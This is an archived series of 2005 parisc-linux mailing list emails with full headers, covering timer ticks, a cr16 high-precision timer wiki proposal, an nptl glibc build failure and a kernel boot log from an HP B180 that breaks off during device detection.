	<1122272788.10644.71.camel@thor.tres.org>
	<20050726132402.GA32722@colo.lackof.org>
	<1122385036.10644.146.camel@thor.tres.org>
	<20050726141837.GB6663@parcelfarce.linux.theplanet.co.uk>
	<42E647E8.3000505@tausq.org>
	<20050726170109.GQ30182@systemhalted.org>
	<20050726170949.GB2221@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623865 15812 80.91.229.3 (22 Nov 2014 02:37:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:45 +0000 (UTC)
Cc: Tres Melton <tres@mindspring.com>,
 parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Jul 2005 18:09:39 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx069) with SMTP; 26 Jul 2005 20:09:39 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 38E477D710;
	Tue, 26 Jul 2005 12:09:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26488-05; Tue, 26 Jul 2005 12:09:37 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 647007D718;
	Tue, 26 Jul 2005 12:09:36 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 096A87D710
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Jul 2005 12:09:32 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26488-01 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Jul 2005 12:09:31 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 74A487D709
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Jul 2005 12:09:31 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DxTrJ-0003OX-00; Tue, 26 Jul 2005 14:08:53 -0400
Content-Disposition: inline
In-Reply-To: <20050726170949.GB2221@parcelfarce.linux.theplanet.co.uk>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (37% Sync Ratio [====......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: MxmUYvYMeSEkN76WZHQhaXN1IGRvb8BR
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22972

On Tue, Jul 26, 2005 at 06:09:49PM +0100, Matthew Wilcox wrote:
> > IMO any interface exporting/using ticks is broken. Accurate time can 
> > be provided through other interfaces. Userspace should never see ticks,
> > only converted time.
> 
> userspace should see converted ticks.  ie divide by 10 if CONFIG_HZ is 1000
> since PA userspace expects to see 100Hz.

I meant "ideologicall" broken. Yes, converting ticks to an expected
value preserves userspace compatibility.

gprof may want to stop using times() when a more suitable interface
becomes available.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [wiki] high-precision timers for parisc using cr16
Date: Tue, 26 Jul 2005 15:16:32 -0400
Lines: 24
Approved: news@gmane.org
Message-ID: <20050726191630.GD9703@systemhalted.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623865 15815 80.91.229.3 (22 Nov 2014 02:37:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:45 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Jul 2005 19:16:45 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx057) with SMTP; 26 Jul 2005 21:16:45 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1EE617D73C;
	Tue, 26 Jul 2005 13:16:42 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26566-10; Tue, 26 Jul 2005 13:16:42 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 76D297D73F;
	Tue, 26 Jul 2005 13:16:41 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 554F87D737
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Jul 2005 13:16:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26744-02 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Jul 2005 13:16:36 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id C30E97D734
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Jul 2005 13:16:36 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DxUum-00043O-00 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Jul 2005 15:16:32 -0400
Content-Disposition: inline
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (37% Sync Ratio [====......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: SemUYnYaeSEkS76WZHQhaXN1IGRvb0Cu
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22973


parisc,

After another dicsussion about high-precision timers on parisc
and the possible uses of cr16, I decided to write down our ideas
so that they are not lost and rehashed.

http://wiki.parisc-linux.org/Time?action=show

I'm looking for comments. In particular from kernel hackers about
implementing the cr16 offset table. If someone wants a small project
that would be cool to work on. I would make myself responsible to finish
the userspace pieces and then we would have nanosecond timing using
get_cycles (independant library) or clock_gettime (nsec field filled
from cr16).

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] nptl build failures (so close!)
Date: Tue, 26 Jul 2005 15:45:40 -0400
Lines: 39
Approved: news@gmane.org
Message-ID: <20050726194540.GG9703@systemhalted.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623866 15817 80.91.229.3 (22 Nov 2014 02:37:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:46 +0000 (UTC)
Cc: Randolph Chung <tausq@debian.org>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Jul 2005 19:45:51 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx061) with SMTP; 26 Jul 2005 21:45:51 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B086D7D75D;
	Tue, 26 Jul 2005 13:45:48 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27042-07; Tue, 26 Jul 2005 13:45:48 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8685E7D750;
	Tue, 26 Jul 2005 13:45:47 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 72FB17D73C
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Jul 2005 13:45:44 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27042-04 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Jul 2005 13:45:44 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id DE3A67D737
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Jul 2005 13:45:43 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DxVMy-0004ML-00; Tue, 26 Jul 2005 15:45:40 -0400
Content-Disposition: inline
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (37% Sync Ratio [====......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: uPeUYvAleSEkT76WZHQhaXN1IGRvb8At
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22974


Randolph, Dave,

Any thoughts?

../sysdeps/generic/strtol_l.c: In function '____strtol_l_internal':
../sysdeps/generic/strtol_l.c:483: warning: cast discards qualifiers from pointer target type
../sysdeps/generic/strtol_l.c:497: error: 'ERANGE' undeclared (first use in this function)
../sysdeps/generic/strtol_l.c:497: error: (Each undeclared identifier is reported only once
../sysdeps/generic/strtol_l.c:497: error: for each function it appears in.)
../sysdeps/generic/strtol_l.c:517: warning: cast discards qualifiers from pointer target type
../sysdeps/generic/strtol_l.c:520: warning: cast discards qualifiers from pointer target type
make[2]: *** [/mnt/flaire/src/tls-toolchain-hppa/build/glibc-nptl/stdlib/strtol_l.o] Error 1
make[2]: Leaving directory `/mnt/flaire/src/tls-toolchain-hppa/src/glibc/stdlib'
make[1]: *** [stdlib/subdir_lib] Error 2
make[1]: Leaving directory `/mnt/flaire/src/tls-toolchain-hppa/src/glibc'
make: *** [all] Error 2

I tried to debug a weird header file include problem in the nptl headers
last night, but to no avail. It looks like gcc was reordering the includes
and "lll_lock_t" wasn't included. This time around "ERANGE" is missing, but 
if I trace the headers by hand it should have been included.

This looks like an einvironment problem. No other arches seem to define anything
magical to make this work.

I had a similar problem in nptl/descr.h where lowlevellock.h wasn't being
included until after descr.h was entirely processed. Which made no sense
at all.

c.


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: nptl build failures (so close!)
Date: Tue, 26 Jul 2005 17:10:09 -0400 (EDT)
Lines: 17
Approved: news@gmane.org
Message-ID: <200507262110.j6QLA9kx011081@hiauly1.hia.nrc.ca>
References: <20050726194540.GG9703@systemhalted.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623866 15820 80.91.229.3 (22 Nov 2014 02:37:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:46 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 tausq@debian.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Jul 2005 21:10:20 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx040) with SMTP; 26 Jul 2005 23:10:20 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 95D4E7D704;
	Tue, 26 Jul 2005 15:10:17 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27691-05; Tue, 26 Jul 2005 15:10:17 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CD57D7D6CA;
	Tue, 26 Jul 2005 15:10:16 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5EF7C7D681
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Jul 2005 15:10:12 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27691-02 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Jul 2005 15:10:11 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id B9C6A7D63A
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Jul 2005 15:10:11 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j6QLAAnV011082; Tue, 26 Jul 2005 17:10:10 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j6QLA9kx011081;
	Tue, 26 Jul 2005 17:10:09 -0400 (EDT)
In-Reply-To: <20050726194540.GG9703@systemhalted.org> from "Carlos O'Donell"
	at Jul 26, 2005 03:45:40 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 6sOUYjMzeSEkWr6WZHQhaXN1IGRvb0DG
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22975

> I tried to debug a weird header file include problem in the nptl headers
> last night, but to no avail. It looks like gcc was reordering the includes
> and "lll_lock_t" wasn't included. This time around "ERANGE" is missing, but 
> if I trace the headers by hand it should have been included.

Have you looked at the -E output?  Also, add -dM to see macro defines.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@levanta.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.6.13-rc3-pa0 booted to login prompt on B180
Date: Tue, 26 Jul 2005 23:52:46 +0100
Lines: 269
Approved: news@gmane.org
Message-ID: <20050726225246.GE5500@levanta.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="jRHKVT23PllUwdXP"
X-Trace: ger.gmane.org 1416623866 15821 80.91.229.3 (22 Nov 2014 02:37:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:46 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Jul 2005 22:53:01 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx046) with SMTP; 27 Jul 2005 00:53:01 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1C5567D75D;
	Tue, 26 Jul 2005 16:52:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28064-10; Tue, 26 Jul 2005 16:52:57 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F26697D762;
	Tue, 26 Jul 2005 16:52:56 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 743D07D75C
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Jul 2005 16:52:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28221-04 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Jul 2005 16:52:52 -0600 (MDT)
Original-Received: from sleepie.demon.co.uk (sleepie-adsl.demon.co.uk [83.104.228.241])
	by free.linux.hp.com (Postfix) with ESMTP id E4CD77D748
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Jul 2005 16:52:51 -0600 (MDT)
Original-Received: by sleepie.demon.co.uk (Postfix, from userid 1000)
	id 8812B27B68B; Tue, 26 Jul 2005 23:52:46 +0100 (BST)
Content-Disposition: inline
User-Agent: Mutt/1.4.2i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: mduUYrVUeSEkXL6WZHQhaXN1IGRvb4CB
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22976


--jRHKVT23PllUwdXP
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Patch attached; it boots to a login prompt but

a) keyboard is dead
b) serial port is dead

so ssh access only.  I included Joel's patch to gsc.c in the
attachment... no credit to me for that part.

Richard


Main Menu: Enter command > bo lan
Interact with IPL (Y, N, Q)?> n

Booting... 
Network Station Address 0060b0-1861d0
System IP Address 192.168.1.69
Server IP Address 192.168.1.2

Boot IO Dependent Code (IODC) revision 2


HARD Booted.
palo ipl 1.9 root@c3k Wed Jul 20 12:51:49 MDT 2005

Boot image contains:
    0/vmlinux32 5033436 bytes @ 0xa000

Information: No console specified on kernel command line. This is normal.
PALO will choose the console currently used by firmware (serial).
Command line for kernel: 'HOME=/ root=/dev/sda5 console=ttyS0 TERM=vt102 palo_kernel=0/vmlinux'
Selected kernel: /vmlinux from partition 0
Warning: kernel name doesn't end with 32 or 64 -- Guessing... Choosing 32-bit kernelELF32 executable
Entry 00100000 first 00100000 n 2
Segment 0 load 00100000 size 3443904 mediaptr 0x1000
Segment 1 load 0044c000 size 647302 mediaptr 0x34a000
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

Linux version 2.6.13-rc3-pa0 (richard@slab.home) (gcc version 4.0.1 (Debian 4.0.1-2)) #18 Tue Jul 26 22:14:42 UTC 2005
FP[0] enabled: Rev 1 Model 15
The 32-bit Kernel has started...
Initialized PDC Console for debugging.
Determining PDC firmware type: System Map.
model 00005040 00000481 00000000 02020202 7742aa81 100000f0 00000004 000000ba 000000ba
vers  00000018
CPUID vers 15 rev 24 (0x000001f8)
capabilities 0x2
model 9000/778/B180L
Total Memory: 256 MB
LED display at f0190001 registered
Built 1 zonelists
Kernel command line: HOME=/ root=/dev/sda5 console=ttyS0 TERM=vt102 palo_kernel=0/vmlinux
PID hash table entries: 2048 (order: 11, 32768 bytes)
Console: colour dummy device 160x64
Dentry cache hash table entries: 65536 (order: 6, 262144 bytes)
Inode-cache hash table entries: 32768 (order: 5, 131072 bytes)
Memory: 262144k available
Security Framework v1.0.0 initialized
Capability LSM initialized
Mount-cache hash table entries: 512
NET: Registered protocol family 16
EISA bus registered
Searching for devices...
Found devices:
1. Merlin+ 132 Dino RS-232 at 0xfff83000 [8/0/63] { 10, 0x0, 0x022, 0x0008c }
2. Merlin+ 180 Core RS-232 at 0xffd05000 [8/16/4] { 10, 0x0, 0x03f, 0x0008c }
3. Merlin+ 180 Core SCSI at 0xffd06000 [8/16/5] { 10, 0x0, 0x03f, 0x00082 }
4. Merlin+ 180 Core Centronics at 0xffd02000 [8/16/0] { 10, 0x0, 0x03f, 0x00074 },  additional addresses: 0xffd01000 0xffd03000 
5. Merlin+ 180 Core Audio at 0xffd04000 [8/16/1] { 10, 0x4, 0x03f, 0x0007b }
6. Merlin+ 180 Core PS/2 Port at 0xffd08000 [8/16/7] { 10, 0x0, 0x03f, 0x00084 }
7. Merlin+ 180 Core PS/2 Port at 0xffd08100 [8/16/8] { 10, 0x0, 0x03f, 0x00084 }
8. Bluefish Add-on FW-SCSI at 0xfff88000 [8/8] { 4, 0x1, 0x013, 0x00089 }
9. Merlin+ 180 Core BA at 0xffd00000 [8/16] { 11, 0x0, 0x03f, 0x00081 },  additional addresses: 0xffd0c000 0xffc00000 
10. Gecko GSC Core Graphics at 0xf8000000 [8/24] { 10, 0x0, 0x016, 0x00085 },  additional addresses: 0xf0011000 
11. Phantom PseudoBC GSC+ Port at 0xffc00000 [8] { 7, 0x0, 0x504, 0x00000 }
